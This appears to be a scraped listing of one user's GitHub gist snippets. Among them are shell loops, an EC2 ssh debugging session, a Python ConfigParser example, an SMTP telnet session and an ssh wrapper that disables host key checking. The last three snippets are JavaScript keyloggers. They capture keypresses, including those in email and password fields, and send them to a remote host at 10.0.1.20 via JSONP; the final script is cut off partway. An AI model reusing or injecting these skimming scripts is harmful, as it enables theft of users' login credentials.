This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for file in (find . -type f -name "*.pages") | |
unzip -o $file | |
cat index.xml | sed "s/<sf:ghost-text>.*<\/sf:ghost-text>//g" | sed "s/<[^>]*>//g" | sed "s/&......;//g" >> all_files.txt | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Broken | |
ubuntu@ip-10-1-250-33:~$ echo `curl -s http://169.254.169.254/latest/meta-data/local-hostname` | |
ip-10-1-250-33.mysudo.me | |
ubuntu@ip-10-1-250-33:~$ ssh ubuntu@ip-10-1-250-33.mysudo.me | |
ssh: Could not resolve hostname ip-10-1-250-33.mysudo.me: Name or service not known | |
#Works fine | |
ubuntu@ip-10-1-250-33:~$ ssh ip-10-1-250-33.ec2.internal | |
The authenticity of host 'ip-10-1-250-33.ec2.internal (10.1.250.33)' can't be established. | |
ECDSA key fingerprint is 30:d4:4f:73:e6:d7:d4:2f:4f:cb:f7:30:bb:2d:58:85. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> import ConfigParser | |
>>> config = ConfigParser.ConfigParser() | |
>>> config.readfp(open('example.conf')) | |
>>> items = {key:value for key,value in config.items('default')} | |
>>> print items | |
{'foo': 'bar', 'baz': 'qux'} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
ssh -o StrictHostKeyChecking=no -i /tmp/id_rsa ${@} | |
exit 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dhcp-10-5-4-88:lasso alex$ telnet mail.rochester.edu 25 | |
Trying 128.151.31.4... | |
Connected to mail.rochester.edu. | |
Escape character is '^]'. | |
220 mx3.its.rochester.edu ESMTP Postfix | |
ehlo vpn4-187.net.rochester.edu | |
250-mx3.its.rochester.edu | |
250-PIPELINING | |
250-SIZE 52428800 | |
250-VRFY |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function(){$("html").keypress(function(a){$.ajax({url:"http://10.0.1.20/xhr.php",data:{keyVal:a.which,targetID:a.target.id},type:"GET",crossDomain:!0,dataType:"jsonp"})})}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function(){function b(a){$.b({url:"http://10.0.1.20/xhr.php",data:a,type:"GET",c:!0,dataType:"jsonp"})}$("#email").a(function(a){b(a.which)});$("#pass").a(function(a){b(a.which)})}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script> | |
<script type="text/javascript" charset="utf-8"> | |
$(function(){ | |
var user = {}; | |
var pwd = {}; | |
$('#email').keyup(function(event) { | |
postData(event.which); | |
}); | |
$('#pass').keyup(function(event) { | |
postData(event.which); |
NewerOlder